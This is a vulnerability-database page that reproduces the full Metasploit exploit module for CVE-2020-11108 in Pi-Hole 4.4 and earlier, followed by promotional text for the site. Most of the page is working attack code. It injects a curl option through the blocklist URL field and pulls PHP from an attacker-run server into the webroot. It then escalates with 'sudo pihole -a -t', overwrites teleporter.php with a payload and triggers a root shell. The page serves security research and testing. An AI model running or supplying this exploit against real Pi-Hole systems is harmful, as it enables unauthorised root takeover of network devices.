Lucene search
K

Pi-Hole heisenbergCompensator Blocklist OS Command Execution

🗓️ 13 May 2020 02:52:44Reported by h00die, Nick FrichetteType 
metasploit
 metasploit
🔗 www.rapid7.com👁 88 Views

Pi-Hole heisenbergCompensator Blocklist OS Command Execution. Exploits command execution in Pi-Hole <= 4.4 by adding a new blocklist and forcing an update to pull in the blocklist content. It then writes PHP content to a file within the webroot, leading to a privilege escalation and execution of payload with root privileges

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Pihole

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole heisenbergCompensator Blocklist OS Command Execution',
        'Description' => %q{
          This exploits a command execution in Pi-Hole <= 4.4.  A new blocklist is added, and then an
          update is forced (gravity) to pull in the blocklist content.  PHP content is then written
          to a file within the webroot.  Phase 1 writes a sudo pihole command to launch teleporter,
          effectively running a priv esc.  Phase 2 writes our payload to teleporter.php, overwriting,
          the content.  Lastly, the phase 1 PHP file is called in the web root, which launches
          our payload in teleporter.php with root privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Nick Frichette' # original PoC, discovery
        ],
        'References' => [
          ['EDB', '48443'],
          ['EDB', '48442'],
          ['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'],
          ['URL', 'https://github.com/frichetten/CVE-2020-11108-PoC'],
          ['CVE', '2020-11108']
        ],
        'Platform' => ['php'],
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2020-05-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    # set the default port, and a URI that a user can set if the app isn't installed to the root
    register_options(
      [
        Opt::RPORT(80),
        OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]),
        OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
      ]
    )
  end

  def setup
    super
    @stage = 0
  end

  def on_request_uri(cli, request)
    if request.method == 'GET'
      vprint_status('Received GET request.  Responding')
      send_response(cli, rand_text_alphanumeric(5..10))
      return
    end

    case @stage
    when 0
      vprint_status('(1/2) Sending priv esc trigger')
      send_response(cli, %q{<?php shell_exec("sudo pihole -a -t") ?>})
      @stage += 1
    when 1
      vprint_status('(2/2) Sending root payload')
      send_response(cli, payload.encoded)
      @stage = 0
    else
      send_response(cli, rand_text_alphanumeric(5..10))
      vprint_status("Server received default request for #{request.uri}")
    end
  end

  def check
    begin
      version, _web_version, _ftl = get_versions

      if version.nil?
        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
        return Exploit::CheckCode::Unknown
      end

      if version && Rex::Version.new(version) <= Rex::Version.new('4.4')
        vprint_good("Version Detected: #{version}")
        return CheckCode::Appears
      else
        vprint_bad("Version Detected: #{version}")
        return CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Could not connect to the web service")
      return Exploit::CheckCode::Unknown
    end
    CheckCode::Safe
  end

  def add_blocklist(file, token)
    # according to the writeup, if you have a port, the colon gets messed up in the encoding.
    # also, looks like if you have a path (/file.php), it won't trigger either, or the / gets
    # messed with.
    data = {
      'newuserlists' => %(http://#{datastore['SRVHOST']}#" -o #{file} -d "),
      'field' => 'adlists',
      'token' => token,
      'submit' => 'saveupdate'
    }

    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_get' => {
        'tab' => 'blocklists'
      },
      'data' => data.to_query
    )
  end

  def execute_shell(backdoor_name)
    vprint_status('Popping root shell')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name),
      'keep_cookies' => true
    )
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    if datastore['SRVPORT'] != 80
      fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful')
    end

    if datastore['SRVHOST'] == '0.0.0.0'
      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
    end

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => '/'
      }
    })

    begin
      # get cookie
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
        'keep_cookies' => true
      )

      # check if we need to login
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'tab' => 'blocklists'
        }
      )

      # check if we got hit by a login prompt
      if res && res.body.include?('Sign in to start your session')
        res = login(datastore['PASSWORD'])
        fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil?
      end

      token = get_token('blocklists')

      if token.nil?
        fail_with(Failure::UnexpectedReply, 'Unable to find token')
      end
      print_status("Using token: #{token}")

      # plant backdoor
      backdoor_name = "#{rand_text_alphanumeric 5..10}.php"
      register_file_for_cleanup backdoor_name
      print_status('Adding backdoor reference')
      add_blocklist(backdoor_name, token)

      # update gravity
      update_gravity
      if @stage == 0
        print_status('Sending 2nd gravity update request.')
        update_gravity
      end

      # plant root upgrade
      print_status('Adding root reference')
      add_blocklist('teleporter.php', token)

      # update gravity
      update_gravity
      if @stage == 1
        print_status('Sending 2nd gravity update request.')
        update_gravity
      end

      # pop shell
      execute_shell(backdoor_name)
      print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists")
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Oct 2022 23:50Current
0.2Low risk
Vulners AI Score0.2
CVSS 29
CVSS 3.18.8
EPSS0.78262
88